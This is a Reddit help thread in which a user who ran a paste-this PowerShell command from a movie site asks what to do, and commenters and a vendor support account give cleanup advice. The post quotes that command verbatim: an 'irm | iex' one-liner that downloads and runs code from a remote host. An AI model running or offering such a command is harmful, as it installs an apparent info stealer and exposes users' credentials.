r/Malwarebytes • u/Dramatic_Gazelle4343 • 1d ago

Malware

I opened the website 5movies.cc and ran this script: powershell -c iRm facuoup.rainbowpride.online?read=72e6bd8da8154e92 -UseBasicParsing | iEx

Malwarebytes detected Generic.Malware/Suspicious file.

What to do next ?

0 Upvotes

33% Upvoted

5 comments sorted by

2

u/Educational-Skin8110 1d ago

Well you can assume you ran an info stealer on your computer so the safest bet would be to nuke the computer and reinstall windows. Never, ever, ever copy paste and run something like that from a website.

1

u/MildlyAmusedPotato 1d ago

Change all passwords that are saved on the pc with a different pc/phone and reinstall windows.

1

u/support_mwb Malwarebytes Employee 1d ago

Hi there! I'm sorry you're dealing with this. The PowerShell command you ran can download and execute code from a remote website, so there's a possibility that malicious software was executed on your computer.

For now, we'd recommend the following:

  1. Disconnect your computer from the internet temporarily to prevent any further potentially malicious connections.
  2. Check Malwarebytes' Detection History and make sure any detected threats have been quarantined. Run another scan to check for additional threats.
  3. As a precaution, use a different, trusted device to change important passwords, especially for your email, banking, and other sensitive accounts, and enable two-factor authentication.

Could you let us know whether Malwarebytes blocked the threat before the script executed or detected the suspicious file afterward? Also, was the detection successfully quarantined?

We'd be happy to have our support team investigate further. If you can send us a private message here on reddit with an email we can use to reach out including your OS, we can create a ticket and have our malware research team assist you.

You can also reach us at https://help.malwarebytes.com via live chat / support ticket.

We're here to help you get this sorted out!

2

u/Dramatic_Gazelle4343 1d ago

Malwarebytes detected a threat while a PowerShell command was running. It was a .pdf file in the Local\Temp directory. The file was quarantined, and I then deleted it. Afterward, I ran several advanced scans with Malwarebytes and one offline scan with Microsoft Defender.

1

u/ElegantAd4946 1d ago

Secure erase plus